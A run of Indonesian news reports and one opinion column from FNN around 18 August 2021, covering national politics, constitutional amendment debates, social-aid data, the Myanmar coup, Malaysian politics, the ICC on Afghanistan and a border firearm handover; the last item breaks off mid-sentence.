By M Rizal Fadillah KETIKA kita merdeka 17 Agustus 1945 lalu menetapkan Dasar dan Konstitusi Negara pada 18 Agustus 1945, maka itulah arah bangsa. Ke sana wajah bangsa kita harus menghadap. Melindungi segenap bangsa, memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, serta melaksanakan ketertiban dunia adalah tujuan yang harus selalu dijaga. Pandangan lurus tersebut dilakukan dalam semua bidang kehidupan baik ekonomi, budaya, hukum, maupun politik. Basisnya adalah keyakinan kepada Tuhan Yang Maha Esa. Artinya Agama harus menjadi fondasi. Tak ada jaminan keberhasilan tanpa bergantung kepada ridlo dan kekuasaan Allah SWT, Tuhan Yang Maha Esa. Orang beragama khususnya seorang Muslim harus memiliki pandangan yang lurus "Fa aqim wajhaka lid dieni haniifa"--hadapkan wajahmu dalam beragama dengan lurus (QS Ar Rum 30). Juga "Wa anna hadzaa shirootii mustaqiiima, fat tabi'uuhu"--dan sungguh inilah jalan-Ku yang lurus, maka ikutilah (QS Al An'am 153). Muslim berbangsa sudah sepatutnya berpandangan lurus sesuai dengan komitmen bersama yang sesuai atau sekurangnya tidak bertentangan dengan Agama. Berdasarkan keyakinan lurus agamanya tersebut maka ia harus berjuang untuk selalu meluruskan wajah bangsa. Konsepsi Ketuhanan yang berkebudayaan tidak boleh dihidupkan kembali apalagi dimaknai bahwa budaya itu mendominasi ketuhanan. Artinya adat menutupi agama. Konsepsi ini pernah diperjuangkan dahulu oleh Menteri Daud Yusuf, tokoh CSIS AMW Pranarka, dan "penentu" Orde Baru Ali Moertopo melalui konsep "Strategi Kebudayaan". Pranarka "Hegelian" mencanangkan "tesis" budaya mengantisipasi "anti tesis" agama. Sekularisasi berbasis kultur untuk mengisi nasionalisme. Ini model dari pembengkokkan arah bangsa. Meminggirkan agama sebagai basis dari persatuan bangsa. Agama tidak mempermasalahkan budaya dan adat istiadat. Diharapkan memperkuat. Akan tetapi jika budaya dijadikan tameng bagi pengeleminasian nilai-nilai agama atau lebih jauhnya persatuan bangsa, maka hal ini membangun iklim yang tidak sehat. Acara kenegaraan mesti jadi cermin yang diisi dan ditampilkan wajah persatuan Indonesia bukan sekedar kebhinekaan. Perlu disadari bahwa "bhineka" itu "tunggal Ika". Presiden sebagai Kepala Negara dan Kepala Pemerintahan harus berada pada domain "ika" bukan semata "bhineka", menyatukan bukan mengurai. Tampilan Jokowi, yang diikuti para pejabat, berbaju adat yang ingin mengangkat keragaman budaya itu bagus bagus saja, tetapi jika salah tempat maka menjadi kontra-produktif. Apalagi jika hal itu hanya sebagai pencitraan atau justru membangun kecemburuan budaya yang satu atas budaya lainnya. Mari luruskan kembali wajah bangsa. Budaya tak boleh jadi tameng untuk menutupi kelemahan. Kesederhanaan yang menjadi wajah palsu untuk memanipulasi korupsi, defisit, hutang luar negeri, dan gagal kepercayaan. 17 dan 18 Agustus telah lewat, bangsa harus mengingat pada spirit dan nilai 17 dan 18 Agustus 1945. Setelah kini jauh melenceng, maka kembalilah pada Pancasila dan UUD 1945 itu. *) Pemerhati Politik dan Kebangsaan.

LaNyalla Minta Pameran Produk Lokal ke Negara Tujuan Ekspor Digalakkan

Jakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti meminta pameran produk lokal ke negara-negara tujuan ekspor bisa terus digalakkan. "Pameran-pameran produksi lokal yang dilakukan di luar negeri membuka peluang untuk meningkatkan ekspor. Sehingga harus digencarkan lagi, termasuk pameran-pameran dari Kementerian Pariwisata dan Ekonomi Kreatif, Kementerian Koperasi dan UMKM serta KBRI-KBRI sebagai perwakilan pemerintah Indonesia di luar negeri," katanya dalam keterangan tertulis di Jakarta, Rabu. LaNyalla meminta Kementerian Perdagangan (Kemendag) untuk mendorong agar ekspor produk UMKM diperluas. Pasalnya, banyak produk lokal yang mendapat pelanggan dari luar negeri setelah produknya dipamerkan di pameran Trade Expo Indonesia (TEI). Hal itu disampaikannya setelah mengetahui salah satu pelaku UMKM keripik buah dan sayur Malang dengan merek Momchips, mengaku mendapat banyak permintaan dari luar negeri setelah mengikuti TEI, khususnya Kanada, Turki, dan Jepang. Momchips sendiri merupakan UKM yang masuk dalam Gerakan Nasional Bangga Buatan Indonesia (Gernas BBI) dengan puluhan produk jenis keripik buah-sayuran dan diproduksi dengan kualitas tinggi. Beberapa jenis keripik Momchips antara lain keripik brokoli, wortel, paprika, bawang bombay, keripik durian, nangka, apel, nanas, salak, dan lainnya. LaNyalla pun mendorong pelaku UMKM di Malang dan sekitarnya tak ragu mengikuti program-program pameran dari pemerintah. "Walaupun pandemi Covid-19 membuat banyak negara menutup keran untuk produk dari luar negeri termasuk Indonesia, produk-produk lokal jangan sampai menghentikan usahanya untuk berekspor. Tugas pemerintah adalah memfasilitasi para UMKM ini agar bisa terus menyalurkan produksinya hingga ke luar negeri sehingga omzet yang sempat menurun akibat pandemi bisa kembali meningkat," tutur senator asal Jawa Timur itu. Mantan Ketua Umum PSSI itu juga mengingatkan banyak produk olahan makanan berkualitas yang masih dicari konsumen dari berbagai negara. Hanya saja, LaNyalla meminta pemerintah agar terus memberi pendampingan sehingga transaksi pembelian dari luar negeri berjalan dengan aman. "Sebab tidak sedikit pelaku usaha yang merugi, bahkan hingga nyaris bangkrut karena ditipu pembeli dari luar negeri. Pemerintah harus menjadikan persoalan ini sebagai perhatian serius," imbaunya. Penjualan produk keripik secara langsung kepada konsumen juga mengalami penurunan selama pandemi Covid-19. Konsumen dalam negeri pun disarankan untuk membeli produk-produk makanan lokal karena kualitasnya tak kalah dengan produksi luar negeri. "Bagi pelaku usaha makanan kering masih tetap bisa memanfaatkan penjualan online untuk meningkatkan penghasilan. Dan saya imbau kepada masyarakat untuk tidak beralih dari produksi dalam negeri. Kita harus terus mendukung produk-produk lokal," tutup LaNyalla. (sws)

Penghapusan Data Ganda Bantuan Sosial Selamatkan Uang Negara Rp 10,5 Triliun

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengungkapkan Kementerian Sosial (Kemensos) berpotensi menyelamatkan keuangan negara hingga Rp 10,5 triliun per bulan karena telah menghapus 52,5 juta data ganda penerima bantuan sosial (bansos). "Potensi penyelamatan keuangan negara karena dihapusnya 52,5 juta penerima tersebut bila diasumsikan setiap penerima menerima bantuan sebesar Rp 200 ribu/bulan, maka totalnya menjadi Rp 10,5 triliun per bulan sebagai penyelamatan keuangan negara," kata Deputi Pencegahan KPK Pahala Nainggolan dalam konferensi pers, di Gedung KPK Jakarta, Rabu, 18 Agustus 2021. Pemerintah pada 2021 menambah alokasi anggaran untuk Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional (KCPEN) di bidang perlindungan sosial hingga mencapai Rp 187,84 triliun, antara lain untuk program bansos tunai, kartu sembako, bantuan beras, diskon listrik, dan tambahan kartu prakerja. Menurut Pahala, awalnya data penerima bansos di Kemensos terpecah-pecah, yaitu data keluarga penerima Program Keluarga Harapan (PKH) ada di Direktorat Jenderal (Ditjen) Penanganan Fakir Miskin (PFM), data penerima Bantuan Pangan Non Tunai (BPNT) di Ditjen Perlindungan Sosial, dan Data Terpadu Kesejahteraan Sosial (DTKS) ada di Sekretariat Jenderal Kemensos. "Rekomendasi KPK ke Bu Menteri Sosial pada Desember 2020 telah ditindaklanjuti dengan baik dengan menggabungkan ketiga data itu. Aslinya ada 193 juta orang penerima, setelah digabung hilang sekitar 47 juta, jadi sisa 155 juta dan masih ada kemungkinan data ganda, jadi kami minta dicek lagi NIK (Nomor Induk Kepegawaian) di Kemendagri," ujar Pahala pula. Hasilnya saat ini tinggal 139 juta data penerima bantuan dan sudah termasuk pembaruan data dari pemerintah daerah. "Kami hitung ada 52,5 juta data penerima yang 'ditidurkan' karena terindikasi ganda (penerima menerima lebih dari satu jenis bantuan), tidak ber-NIK (kemungkinan penerima tidak ada/fiktif), serta data yang tidak dapat dijelaskan oleh pemda," kata Pahala, sebagaimana dikutip dari Antara. Artinya 52,5 juta data yang awalnya masuk sebagai penerima bantuan tidak dapat digunakan lagi. "Kami apresiasi data ini, dan terus akan mendampingi karena awal ketidatepatan adalah ketidaktepatan data," ujar Pahala pula. Selain itu, KPK juga menyiapkan akses pengaduan di portal jaga.id. Sebelumnya, Menteri Keuangan Sri Mulyani Indrawati telah menjelaskan setidaknya 10 program KC-PEN untuk bidang perlindungan sosial. Pertama adalah Program Keluarga Harapan (PKH) atau PKH bagi 10 juta keluarga dengan estimasi total penerima manfaat adalah 40 juta orang selama 12 bulan, sehingga total anggarannya adalah Rp 28,3 triliun. Kedua, Program Kartu Sembako yang ditujukan untuk 18,8 juta keluarga, sehingga estimasi total penerima manfaat adalah 75,2 orang dengan alokasi anggaran Rp 49,89 triliun. Masing-masing keluarga mendapat Rp 200 ribu/bulan selama 14 bulan. Ketiga, Program Bansos Tunai bagi 10 juta keluarga atau 40 juta orang dengan anggaran Rp 300 ribu/keluarga yang diberikan pada Januari-Juni 2021 dengan total anggaran Rp 17,46 triliun. Keempat, Program Kartu Prakerja dan Bantuan Subsidi upah dengan total alokasi anggaran Rp 20 triliun bagi 8,4 juta peserta. Ada penambahan anggaran sebesar Rp 10 triliun bagi mereka yang sedang mencari kerja dan mengalami PHK, serta masih ada program lainnya. (MD).

Hidayat Nur Wahid Sebut Pelaksanaan Konstitusi Secara Konsisten Lebih Mendesak

Jakarta, FNN - Wakil Ketua MPR, Hidayat Nur Wahid, menyebut melaksanakan konstitusi secara konsisten lebih mendesak dibanding melakukan amendemen UUD 1945. "Melaksanakan ketentuan konstitusi secara konsisten lebih mendesak dan lebih dirasakan manfaatnya oleh masyarakat, dibanding melakukan amandemen UUD 1945," kata dia, dalam keterangannya di Jakarta, Rabu, 18 Agustus 2021. Menurut pria yang disapa HNW itu, meskipun UUD 1945 membuka ruang bagi amendemen dengan pemenuhan persyaratannya, namun akan lebih baik jika lembaga-lembaga negara dan energi bangsa difokuskan bergotong royong melaksanakan ketentuan konstitusi yang mendesak dan belum terpenuhi. Seperti menyelamatkan dan melindungi seluruh bangsa Indonesia dari dampak negatif pandemi Covid-19. "Itu seharusnya menjadi fokus yang perlu segera dimaksimalkan," ujarnya. Menurut dia, peringatan Hari Konstitusi yang jatuh pada hari ini harus menjadi pengingat dan penyemangat bagi lembaga-lembaga negara supaya serius, fokus dan jujur melaksanakan ketentuan-ketentuan di dalam UUD 1945. Hal itu termasuk dengan tidak menjadikan pandemi Covid-19 sebagai alat politis yang justru bertentangan dengan ketentuan konstitusi. Antara lain, munculnya isu mengenai perpanjangan masa jabatan presiden hingga perubahan waktu pemilu dan pilkada serentak ke 2027 dengan dalih pemberlakukan PPKM serta TPS yang disebut akan ditutup. "Bila wacana ini benar-benar dilaksanakan, maka akan terjadi pelanggaran konstitusi," katanya. Ia mengakui terdapat rekomendasi dari MPR periode sebelumnya yang menginginkan dilakukannya kajian untuk menghadirkan Garis-Garis Besar Haluan Negara (GBHN) maupun Pokok-Pokok Haluan Negara (PPHN). Akan tetapi, lanjut dia, masih belum disepakati apakah harus diimplementasikan melalui amendemen UUD 1945 atau cukup melalui UU atau Revisi UU yang ada. Oleh karena itu, hingga kini belum ada usulan konstitusional sesuai ketentuan pasal 37 ayat (1) dan (2) UUD 1945, yaitu diajukannya usulan tersebut oleh sekurang-kurangnya sepertiga anggota MPR secara tertulis. "Apalagi belum ada kesepakatan di antara semua fraksi dan utusan DPD di MPR untuk melakukan amendemen UUD 1945 sekalipun terbatas," kata dia. Sementara itu, HNW juga mengapresiasi KPU yang telah mengklarifikasi atas isu mundurnya pemilu, pilpres, dan pilkada serentak ke 2027 dan menyatakan agenda tersebut akan tetap dilaksanakan pada 2024. Ia menyatakan, semua negara demokratis menyelenggarakan pemilu termasuk pilpres sesuai konstitusi masing-masing, tanpa menundanya dengan dalih Covid-19. Ia mencontohkan Amerika Serikat, Selandia Baru, dan Iran menjadi negara demokratis yang tetap menyelenggarakan pemilu tanpa terhambat pandemi Covid-19. "KPU juga sudah punya pengalaman Pilkada Serentak 2020, tentunya makin tidak ada alasan konstitusional untuk mengundurkan pemilu, pilpres dan pilkada hingga 2027,” ujarnya. (MD).

Kudeta Militer Myanmar Sebabkan 1.000 Orang Lebih Tewas

Yangon, FNN - Korban tewas akibat kudeta Myanmar pada 1 Februari 2021 menembus angka 1.000 orang lebih. "Menurut catatan AAPP, 1.001 orang tidak bersalah tewas," kata Sekretaris AAPP Tate Naing kepada Reuters, Rabu, 18 Agustus 2021. "Jumlah korban sebenarnya jauh lebih banyak," katanya. AAPP adalah kelompok aktivis Aosiasi Pendamping Narapidana Politik. Juru bicara junta yang berkuasa tidak menanggapi panggilan telepon untuk dimintai komentar. Otoritas militer sebelumnya mengatakan, data AAPP, yang banyak dikutip oleh organisasi internasional, dibesar-besarkan. Dikutip dari Antara, militer juga menyebutkan, sejumlah anggota pasukan keamanan tewas dan pihak AAPP tidak menyertakan mereka dalam hitungannya. Negara di Asia Tenggara itu terjerumus dalam kekacauan sejak kudeta. Sejak kudeta 1 Februari 2021, aksi protes berlangsung setiap hari, pemberontakan marak di kawasan perbatasan. Selain itu, aksi mogok meluas sehingga menyebabkan ekonomi Myanmar rusak parah. Militer melengserkan pemimpin terpilih Aung San Suu Kyi. Militer menuding adanya kecurangan dalam pemilu November 2020 yang dimenangkan oleh partai Liga Nasional untuk Demokrasi yang dipimpinnya. Komisi pemilu pada saat itu dan pengawas internasional menyebutkan bahwa tudingan militer tidak benar. Otoritas militer mengklaim, perebutan kekuasaan mereka tidak bisa disebut sebagai kudeta karena hal itu sejalan dengan Undang-Undang. (MD).

Besok PTUN Jakarta Gelar Sidang Gugatan Terhadap Puan Maharani

Jakarta, FNN - HARI ini, Rabu tanggal 18 Agustus 2021, PTUN Jakarta melalui sistem e court (online internet) telah memanggil Kuasa Hukum MAKI dan LP3HI untuk menghadiri sidang perdana dengan agenda Dismisal perkara gugatan di PTUN Jakarta dengan register perkara nomor 191/G/2021/PTUN Jakarta. Persidangan perdana akan dilaksanakan besok pada tanggal 19 Agustus 2021 jam 10.00 WIB. Demikian rilis yang diterima redaksi FNN, Rabu (18/08/21). "Kami sangat menantikan kehadiran Arteria Dahlan (anggota DPR RI) yang sebelumnya telah menyatakan akan hadir pada persidangan PTUN dalam perkara ini," kata Koordinator MAKI, Boyamin Saiman. Gugatan ini melawan Ketua DPR dalam hal hasil seleksi calon pimpinan BPK yang diduga dua calon tidak memenuhi syarat. Obyek gugatan adalah KETUA DPR Ibu Puan Maharani telah menerbitkan Surat Ketua Dewan Perwakilan Rakyat Republik Indonesia nomor PW/09428/DPR RI/VII/2021 tanggal 15 Juli 2021 kepada Pimpinan DPD RI tentang Penyampaian Nama-Nama Calon Anggota BPK RI berisi 16 orang. Dari 16 orang tersebut terdapat 2 (dua) orang calon Anggota BPK yang diduga tidak memenuhi persyaratan yaitu Nyoman Adhi Suryadnyana dan Harry Z. Soeratin. Berdasarkan CV Nyoman Adhi Suryadnyana, pada periode 3-10-2017 sampai 20-12-2019 yang bersangkutan adalah Kepala Kantor Pengawasan dan Pelayanan Bea Cukai Manado (Kepala Satker Eselon III), yang notabene adalah pengelola keuangan negara (Kuasa Pengguna Anggaran / KPA ). Sedangkan Harry Z. Soeratin pada Juli 2020 lalu dilantik oleh Menteri Keuangan sebagai Sekretaris Direktorat Jenderal Perimbangan Keuangan (DJPK), yang notabene merupakan jabatan KPA dalam arti yang bersangkutan bahkan masih menyandang jabatan KPAnya. Kedua orang tersebut harusnya tidak lolos seleksi karena bertentangan dengan Pasal 13 huruf j UU Nomor 15 Tahun 2006 tentang BPK yang mengatur : untuk dapat dipilih sebagai Anggota BPK, calon harus paling singkat telah 2 (dua) tahun meninggalkan jabatan sebagai pejabat di lingkungan pengelola keuangan negara. Ketentuan pengaturan ini mengandung makna bahwa seorang Calon Anggota BPK dapat dipilih untuk menjadi Anggota BPK, apabila Calon Anggota BPK tersebut telah meninggalkan jabatan (tidak menjabat) di lingkungan pengelola keuangan negara paling singkat 2 tahun terhitung sejak pengajuan sebagai Calon Anggota BPK. Bahwa pemaknaan terhadap Pasal 13 huruf j UU Nomor 15 Tahun 2006 juga disampaikan juga oleh Mahkamah Agung (MA) dalam suratnya nomor 118/KMA/IX/2009 tanggal 24 September 2009 berpendapat bahwa Pasal 13 huruf j UU Nomor 15 Tahun 2006 menentukan bahwa calon Anggota BPK telah meninggalkan jabatan di lingkungan Pengelola Keuangan Negara selama 2 (dua) tahun. Atas dugaan tidak memenuhi persyaratan tersebut, MAKI dan LP3HI telah mengajukan gugatan ke PTUN Jakarta sebagaimana draft terlampir. Gugatan ini bertujuan membatalkan surat tersebut dan termasuk membatalkan hasil seleksi calon anggota BPK yang tidak memenuhi persyaratan dari kedua orang tersebut. MAKI merasa perlu mengawal DPR untuk mendapatkan calon anggota BPK yang baik dan integritas tinggi termasuk tidak boleh meloloskan calon yang diduga tidak memenuhi persyaratan. Jika kedua orang ini tetap diloloskan dan dilantik dengan Surat Keputusan Presiden, MAKI juga akan gugat PTUN atas SK Presiden tersebut.

BPOM: EUA Vaksin Unair Ditargetkan Semester Pertama 2022

Jakarta, FNN - Kepala Badan Pengawas Obat dan Makanan (BPOM) RI Penny K Lukito mengemukakan izin penggunaan darurat (EUA) bagi Vaksin Merah Putih karya peneliti Universitas Airlangga (Unair) ditargetkan terpenuhi pada semester pertama 2022. "Harapannya, EUA Vaksin Merah Putih produksi PT Biotis Pharmaceutical Indonesia bersama Universitas Airlangga ini sekitar semeter pertama tahun 2022," kata Penny K Lukito dalam konferensi pers penyerahan sertifikasi pemenuhan Cara Pembuatan Obat yang Baik (CPOB) kepada PT Biotis Pharmaceutical Indonesia yang dipantau secara virtual dari Jakarta, Rabu. Penny mengatakan vaksin COVID-19 tersebut saat ini telah merampungkan uji praklinik tahap pertama transgenik dan sedang memasuki tahap kedua uji praklinik pada hewan makaka. Sebelum memperoleh EUA, kata Penny, vaksin tersebut akan diuji coba kepada manusia dalam waktu dekat. Penny mengatakan BPOM bersama industri farmasi, peneliti dan sponsor terus melakukan pendampingan pengembangan uji praklinik vaksin tersebut. "BPOM terus mendiskusikan konsep pengembangan rasional dari penelitian, desain setiap perencanaan prakilinik dan uji klinik juga aspek pengembangan mutu formula serta mutu obat," katanya. Penny mengatakan seluruh vaksin harus diproduksi dalam skala laboratorium yang mengikuti kaidah cara pelaksanaan uji klinik yang baik. "Uji prakilinik dan klinik ini akan menjadi data saintifik yang menjadi dasar dalam proses registrasi selanjutnya," katanya. Penny menambahkan sertifikat CPOB yang diberikan kepada PT Biotis Pharmaceutical Indonesia didasari atas sejumlah aspek penilaian di antaranya desain fasilitas produksi, pelaksanaan inspeksi, asistensi, konsultasi hingga penyelesaian perbaikan. "Ini bukan sesuatu yang mudah untuk mencapai tahapan CPOB. Ke depan kami akan tetap mendampingi," katanya. (mth)

Raja Malaysia Minta PM Ajukan Mosi Percaya ke Parlemen

Kuala Lumpur, FNN - Raja Malaysia Yang di-Pertuan Agong, Al-Sultan Abdullah Ri'ayatuddin Al-Mustafa Billah Shah mengatakan perdana menteri baru yang ditunjuk harus mengajukan mosi percaya kepada parlemen sesegera mungkin. "Yang Mulia mengatakan bahwa perdana menteri yang telah ditunjuk oleh agong berdasarkan pasal 40 (2) (a) dan 43 (2) (a) Konstitusi Federal harus sesegera mungkin mengajukan mosi percaya pada parlemen untuk melegitimasinya mendapatkan kepercayaan dari mayoritas," ujar juru bicara Istana Negara, Ahmad Fadil Syamsuddin dalam pernyataannya, Rabu. Agong mengatakan sebagai kepala negara pihaknya akan berusaha sebaik mungkin untuk memenuhi tanggung jawab seorang Raja Konstitusi berdasarkan seluruh konstitusi dan "rule of law". Sebelumnya Yang di-Pertuan Agong dan Wakil-nya Sultan Perak Sultan Nazrin Muizzuddin Syah Sultan Azlan telah mengadakan pertemuan dengan pimpinan partai politik yang berlangsung kemarin. Sultan Abdullah berpandangan bahwa para anggota parlemen dapat bersatu padu bekerja sama untuk mewujudkan persatuan semua partai politik dengan memusatkan perhatian pada isu-isu terkini dan menjernihkan kekisruhan yang terjadi segera. Gejolak politik yang berlarut-larut ini tanpa titik telah mengganggu tata pemerintahan ketika kita masih terancam oleh pandemi COVID-19. Ahmad Fadil mengatakan mereka berdua menekankan bahwa semua gejolak dan kekacauan politik ini telah berdampak negatif yang mendalam terhadap perekonomian negara, selain kesejahteraan dan keamanan rakyat sedangkan Pemilu ke-15 bukanlah pilihan terbaik saat ini. "Yang Mulia juga mengingatkan para pimpinan dan perwakilan partai politik besar untuk menyelaraskan suasana. Anggota parlemen yang menang harus mengulurkan tangan untuk bekerja dengan yang tidak berhasil dan semua pihak harus siap bekerja dalam tim," katanya. Sementara itu Sekjen Umno, Ahmad Maslan, melalui cuitannya di twitter mengatakan Umno hanya mengantarkan satu nama calon sebagai perdana menteri yakni Ismail Sabri. Ismail Sabri sebelumnya merupakan wakil Perdana Menteri era Muhyiddin Yassin merangkap Menteri Pertahanan. (mth)

DKI Genjot Transformasi Digital Dongkrak Pendapatan Daerah

Jakarta, FNN - Pemprov DKI Jakarta menggenjot optimalisasi transformasi digital dari sistem pembayaran, pelayanan, hingga pengawasan untuk mendongkrak pendapatan daerah yang sempat merosot pada 2020 akibat pandemi COVID-19. "Kami melakukan terobosan untuk transformasi digital ini," kata Kepala Sub Bidang Pengembangan Sistem Informasi Badan Pendapatan Daerah DKI Jakarta Zidni Agni Apriya dalam diskusi di Jakarta, Rabu. Dia menjelaskan transformasi digital difokuskan untuk sumber utama pajak dari 13 jenis pajak yang dikelola Pemprov DKI yang selama ini berkontribusi 80-90 persen terhadap penerimaan daerah. Adapun sumber utama pajak itu, lanjut dia, ada lima pajak yakni Pajak Kendaraan Bermotor, Pajak Bumi dan Bangunan (PBB) perdesaan dan perkotaan dan Bea Perolehan Hak atas Tanah dan Bangunan (BPHTB). Selanjutnya, Bea Balik Nama Kendaraan Bermotor (BBNKB) dan pajak dari sektor konsumsi seperti pajak hotel, restoran, pajak hiburan, dan retribusi parkir. Transformasi digital yang dilakukan, lanjut dia, dengan memberikan kemudahan pembayaran pajak melalui 15 bank besar. Tak hanya dengan bank, DKI juga menggandeng toko-toko ritel, perdagangan dalam jaringan atau e-commerce, uang elektronik, hingga aplikasi Jakarta Kini (Jaki) untuk mengakses pembayaran dengan barkode atau QRIS dan portal pajak daring. Dari sisi pelayanan, lanjut dia, DKI di antaranya mengembangkan portal pajak daring seperti Surat Pemberitahuan Pajak Terutang (SPPT) elektronik serta integrasi layanan Jaki dan BPHTB elektronik. Sedangkan dari sisi pengawasan, lanjut dia, ada program "tax clearance" yakni wajib pajak yang belum membayar pajak dapat diketahui dan diintervensi melalui integrasi dengan Pelayanan Terpadu Satu Pintu (PTSP) untuk perizinan hingga Badan Pertanahan Nasional (BPN) untuk urusan sertifikat. Selain itu, integrasi juga dilakukan dengan Ditjen Pajak, KPK dan lembaga internal seperti Dinas Pendidikan, Dinas Sosial dan Dinas Perumahan serta sistem transaksi usaha. "Kita integrasikan di sistem penjualan hotel, restoran agar Bapenda bisa melihat data kerja sama dengan bank penyedia online sistem," ucapnya. Zidni mencatat pendapatan daerah DKI Jakarta pada 2020 merosot hingga 65 persen mencapai Rp54 triliun dari sebelumnya pada 2019 capai Rp82 triliun. Ia mengharapkan dengan optimalisasi transformasi digital tersebut dapat memperbaiki capaian penerimaan daerah pada 2021. (mth)

F-PAN DPR: Amendemen UUD Dapat Berimplikasi Sistem Ketatanegaraan

Jakarta, FNN - Ketua Fraksi PAN DPR, Saleh Partaonan Daulay, menilai amendemen UUD 1945 adalah pekerjaan tidak mudah karena perubahan pasal-pasal di dalam konstitusi akan berimplikasi luas dalam sistem ketatanegaraan dan bukan untuk tujuan politik sesaat. Karena itu menurut dia, sebelum "pintu" amandemen dibuka, sebaiknya seluruh kekuatan politik, masyarakat sipil, akademisi, tokoh masyarakat, tokoh agama, dan berbagai elemen lainnya harus dapat merumuskan agenda dan batasan amendemen itu. "Konstitusi adalah milik seluruh rakyat, dan perubahan terhadap konstitusi sebaiknya didasarkan atas aspirasi dan keinginan rakyat. Perubahan itu pun tidak boleh hanya demi tujuan politik sesaat," kata dia, di Jakarta, Rabu. Ia menilai agar agenda amandemen tersebut fokus dan terarah, perlu dilakukan pemetaan terhadap pokok-pokok dan isu yang akan diubah. Menurut dia, sebelum pintu amendemen dibuka, harus ada kesepakatan semua fraksi dan kelompok DPD di MPR terhadap peta perubahan yang diajukan agar tidak ada kekhawatiran bahwa amendemen akan melebar kepada isu-isu lain di luar yang telah disepakati. "Sekarang ini, amandemen UUD 1945 disebut sebagai amandemen terbatas, apa yang membatasinya? Itu tadi kesepakatan politik antar-fraksi dan kelompok DPD yang ada di MPR sehingga agar lebih akomodatif, semua elemen di luar MPR juga perlu didengar dan dilibatkan," ujarnya. Saleh menilai, secara teknis pelaksanaan amendemen juga tidak mudah karena dalam pasal 37 UUD 1945 disebutkan pengajuan perubahan pasal-pasal baru dapat diagendakan apabila diajukan oleh sekurang-kurangnya 1/3 dari jumlah anggota MPR. Menurut dia, untuk mengubah pasal-pasal, sidang harus dihadiri 2/3 dari jumlah anggota MPR, dan putusan untuk mengubah pasal-pasal hanya dapat dilakukan dengan persetujuan sekurang-kurangnya 50 persen plus satu dari seluruh anggota MPR. "Selain berbagai kepentingan politik yang mengelilinginya, persoalan teknis ini juga diyakini menjadi alasan mengapa amandemen sulit dilaksanakan," katanya. Padahal menurut dia, pada era MPR periode 2009-2014, isu amandemen sempat menguat atas usulan DPD dan wacana itu berlanjut pada periode 2014-2019. Ia mengatakan MPR periode 2014-2019, isu-isu yang akan dibahas dan diangkat sudah dirumuskan, namun, amandemen tersebut belum bisa dilaksanakan. "Apabila hari ini amandemen UUD 1945 diagendakan lagi, maka kesulitan yang sama tetap akan ada, ditambah lagi, Indonesia sedang fokus menghadapi pandemi. Tentu akan ada persoalan 'kepatutan' jika melakukan amandemen di tengah situasi seperti ini," ujarnya. Ketua DPP PAN itu menilai kalau amendemen UUD 1945 belum siap maka sebaiknya ditahan dulu, dan lakukan dulu kajian lebih komprehensif karena pengkajian itu dapat dianggap sebagai bagian dari proses amendemen. (mth)

Jaksa ICC Minta Semua Pihak di Afghanistan Hormati Hukum Humaniter

Den Haag, FNN - Jaksa Mahkamah Pidana Internasional (ICC) pada Selasa (17/8) meminta semua pihak dalam konflik Afghanistan agar menghormati hukum humaniter. Lewat sebuah pernyataan Karim Khan mencatatkan bahwa kantornya dapat menjalankan yuridiksi atas setiap genosida, kejahatan terhadap kemanusiaan atau kejahatan perang yang dilakukan di Afghanistan sejak bergabung dengan ICC pada 2003. "Saya meminta semua pihak yang bertikai agar menghormati kewajiban mereka secara penuh di bawah hukum humaniter internasional, termasuk menjamin perlindungan warga sipil," kata Khan, menambahkan bahwa ia khawatir tentang laporan pembunuhan balas dendam dan penganiayaan terhadap kaum perempuan dan anak-anak. Seruan Khan muncul setelah Sekjen PBB Antonio Guterres menyuarakan keprihatinan serupa dan Dewan Keamanan PBB pada Senin mendesak agar pertempuran di Afghanistan dihentikan. Khan menjadi jaksa di ICC pada Juni, yang mewarisi penyelidikan pendahulunya Fatou Bensouda atas kemungkinan kejahatan perang yang dilakukan di Afghanistan sejak 2003 hingga seterusnya. Penyelidikan itu mencakup dugaan pembunuhan warga sipil oleh Taliban, serta dugaan penyiksaan tahanan oleh otoritas Afghanistan, dan oleh pasukan AS dan CIA pada 2003-2004. Namun, ICC hanya menyetujui investigasi formal pada Maret 2020 - memicu presiden AS terdahulu Donald Trump untuk menjatuhkan sanksi terhadap Bensouda. Pada Mei pemerintah Afghanstan meminta Bensouda untuk tidak meneruskan penyelidikannya, dengan alasan sudah melakukan penyelidikannya sendiri, yang kebanyakan berfokus pada dugaan kejahatan Taliban. Menurut aturan ICC, mahkamah hanya memiliki kekuasaan untuk mengadili kejahatan yang dilakukan di wilayah negara anggota ketika negara yang bersangkutan tidak mau atau tidak mampu melakukannya sendiri. Belum diketahui pasti bagaimana Khan akan meneruskan investigasi yang sudah berlangsung. (mth)

Warga Segumun Serahkan Senjata Api Lantak ke Satgas Pamtas

Pontianak, FNN - Satgas Pamtas Yonif Mekanis 643/Wanara Sakti Pos Segumun menerima penyerahan sepucuk senjata api rakitan jenis lantak dari Kuyak (48) warga Dusun Segumun, Desa Lubuk Sabuk, Kecamatan Sekayam, Kabupaten Sanggau, Kalimantan Barat. "Penyerahan senjata api jenis Lantak ini berawal dari rutinnya kegiatan teritorial karya bhakti berupa pelayanan kesehatan, gotong royong pembangunan sarana ibadah, tempat umum dan sosialisasi serta anjangsana yang dilakukan oleh personel Pos Segumun di wilayah binaannya," kata Dansatgas Pamtas Yonif Mekanis 643/Wns, Letkol Inf Hendro Wicaksono, dalam keterangan tertulisnya di Makotis Entikong, Selasa. Dia menjelaskan, dari hasil kegiatan teritorial yang dilakukan oleh personel Pos Segumun berupa pengobatan kepada orang tuanya, maka dengan sukarela dan tanpa paksaan Kuyak menyerahkan senjata api rakitan miliknya ke Pos Segumun yang diterima oleh Wadanpos Segumun Serda Natalis Ujang. “Penyerahan senjata api yang kesekian kalinya kepada Satgas Pamtas ini merupakan bukti bahwa masyarakat perbatasan sudah percaya dan merasa aman dengan keberadaan kami selaku Satgas Pamtas,” ujarnya. Di tempat terpisah Danpos Segumun Letda (Inf) Ahmad mengatakan senjata api rakitan yang berada di wilayah Segumun kebanyakan digunakan untuk memburu binatang hama seperti babi hutan yang sering mengganggu kebun masyarakat. "Namun dengan kami melakukan pendekatan teritorial beberapa masyarakat sudah paham akan bahaya memiliki senjata api dan memberikan senjata api rakitannya kepada pos Segumun," katanya. Dikatakannya, ini merupakan berkah dan kado spesial bagi anggota di Pos Segumun. "Kami menganggap ini sebagai kado spesial, karena bertepatan dengan HUT ke-76 RI, ada masyarakat 